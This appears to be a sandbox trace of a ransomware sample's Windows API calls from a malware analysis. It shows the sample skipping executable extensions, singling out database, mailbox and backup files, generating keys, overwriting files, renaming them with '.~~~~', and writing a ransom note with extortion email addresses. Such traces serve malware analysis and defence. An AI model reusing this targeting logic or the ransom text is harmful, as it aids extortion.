	[0085.531] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.531] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.531] CloseHandle (hObject=0x124) returned 1
	[0085.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.531] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.~~~~")) returned 1
	[0085.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.793] GetLastError () returned 0x0
	[0085.793] RtlWakeConditionVariable () returned 0x365f70
	[0085.793] GetCurrentThreadId () returned 0x3a4
	[0085.794] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.794] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.796] CloseHandle (hObject=0x124) returned 1
	[0085.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f54a0 | out: hHeap=0x300000) returned 1
	[0085.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.796] RtlWakeConditionVariable () returned 0x365f70
	[0085.796] GetCurrentThreadId () returned 0x3a4
	[0085.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.796] lstrlenW (lpString=".cmd") returned 4
	[0085.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.796] lstrlenW (lpString=".dll") returned 4
	[0085.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.796] lstrlenW (lpString=".bat") returned 4
	[0085.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.797] lstrlenW (lpString=".cpl") returned 4
	[0085.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0085.797] lstrlenW (lpString=".sys") returned 4
	[0085.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0085.797] lstrlenW (lpString=".msc") returned 4
	[0085.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0085.797] lstrlenW (lpString=".com") returned 4
	[0085.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0085.797] lstrlenW (lpString=".lnk") returned 4
	[0085.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0085.797] lstrlenW (lpString=".msp") returned 4
	[0085.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0085.797] lstrlenW (lpString=".pif") returned 4
	[0085.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0085.797] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.798] lstrlenW (lpString=".sqb") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.798] lstrlenW (lpString=".ost") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.798] lstrlenW (lpString=".txt") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.798] lstrlenW (lpString=".mdt") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.798] lstrlenW (lpString=".BDB") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.798] lstrlenW (lpString=".eql") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.798] lstrlenW (lpString=".DBF") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.798] lstrlenW (lpString=".EQL") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.798] lstrlenW (lpString=".FDB") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.798] lstrlenW (lpString=".EDB") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.798] lstrlenW (lpString=".DACPAC") returned 7
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.798] lstrlenW (lpString=".VHD") returned 4
	[0085.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.798] lstrlenW (lpString=".DBV") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0085.799] lstrlenW (lpString=".dacpac") returned 7
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.799] lstrlenW (lpString=".sdf") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.799] lstrlenW (lpString=".accdb") returned 6
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.799] lstrlenW (lpString=".DBX") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.799] lstrlenW (lpString=".MDT") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.799] lstrlenW (lpString=".SQB") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.799] lstrlenW (lpString=".vhd") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.799] lstrlenW (lpString=".bac") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.799] lstrlenW (lpString=".mdf") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.799] lstrlenW (lpString=".BAK") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.799] lstrlenW (lpString=".BAC") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.799] lstrlenW (lpString=".dbs") returned 4
	[0085.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.799] lstrlenW (lpString=".vhdx") returned 5
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.800] lstrlenW (lpString=".NDF") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.800] lstrlenW (lpString=".dat") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.800] lstrlenW (lpString=".DBS") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.800] lstrlenW (lpString=".CKP") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.800] lstrlenW (lpString=".edb") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.800] lstrlenW (lpString=".PST") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.800] lstrlenW (lpString=".dbf") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.800] lstrlenW (lpString=".SQL") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.800] lstrlenW (lpString=".pst") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.800] lstrlenW (lpString=".dbv") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.800] lstrlenW (lpString=".SDF") returned 4
	[0085.800] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.800] lstrlenW (lpString=".dtxs") returned 5
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.801] lstrlenW (lpString=".db3") returned 4
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.801] lstrlenW (lpString=".OST") returned 4
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.801] lstrlenW (lpString=".dbx") returned 4
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.801] lstrlenW (lpString=".DB3") returned 4
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.801] lstrlenW (lpString=".DAT") returned 4
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.801] lstrlenW (lpString=".VHDX") returned 5
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.801] lstrlenW (lpString=".ndf") returned 4
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.801] lstrlenW (lpString=".DB") returned 3
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.801] lstrlenW (lpString=".sql") returned 4
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.801] lstrlenW (lpString=".MYD") returned 4
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.801] lstrlenW (lpString=".DBT") returned 4
	[0085.801] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.802] lstrlenW (lpString=".ACCDB") returned 6
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.802] lstrlenW (lpString=".fdb") returned 4
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.802] lstrlenW (lpString=".bak") returned 4
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.802] lstrlenW (lpString=".myd") returned 4
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.802] lstrlenW (lpString=".DTXS") returned 5
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.802] lstrlenW (lpString=".ckp") returned 4
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.802] lstrlenW (lpString=".dbt") returned 4
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.802] lstrlenW (lpString=".db") returned 3
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.802] lstrlenW (lpString=".TXT") returned 4
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.802] lstrlenW (lpString=".MDF") returned 4
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.802] lstrlenW (lpString=".bdb") returned 4
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.802] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.802] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0085.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.802] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0085.803] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.803] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0085.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0085.804] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20579369112) returned 1
	[0085.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9cf4a1f0, dwHighDateTime=0x1d60e1e)) 
	[0085.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0085.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0085.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0085.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6048
	[0085.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6048 | out: hHeap=0x300000) returned 1
	[0085.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abdf8
	[0085.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0085.804] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0085.804] GetLastError () returned 0x0
	[0085.804] GetLastError () returned 0x0
	[0085.805] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0085.805] GetLastError () returned 0x0
	[0085.805] GetLastError () returned 0x0
	[0085.808] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff5d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.808] WriteFile (in: hFile=0x124, lpBuffer=0x2875ff0*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2875ff0*, lpNumberOfBytesWritten=0x24dfec0*=0xa2c, lpOverlapped=0x0) returned 1
	[0085.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2875ff0 | out: hHeap=0x300000) returned 1
	[0085.808] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.808] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.808] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.809] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.809] CloseHandle (hObject=0x124) returned 1
	[0085.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.809] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.~~~~")) returned 1
	[0085.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0085.810] GetLastError () returned 0x0
	[0085.810] RtlWakeConditionVariable () returned 0x365f70
	[0085.810] GetCurrentThreadId () returned 0x3a4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".scr") returned 0x0
	[0085.810] lstrlenW (lpString=".cmd") returned 4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".cmd") returned 0x0
	[0085.810] lstrlenW (lpString=".dll") returned 4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".dll") returned 0x0
	[0085.810] lstrlenW (lpString=".bat") returned 4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".bat") returned 0x0
	[0085.810] lstrlenW (lpString=".cpl") returned 4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".cpl") returned 0x0
	[0085.810] lstrlenW (lpString=".sys") returned 4
	[0085.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", lpSrch=".sys") returned 0x0
	[0085.810] lstrlenW (lpString=".msc") returned 4
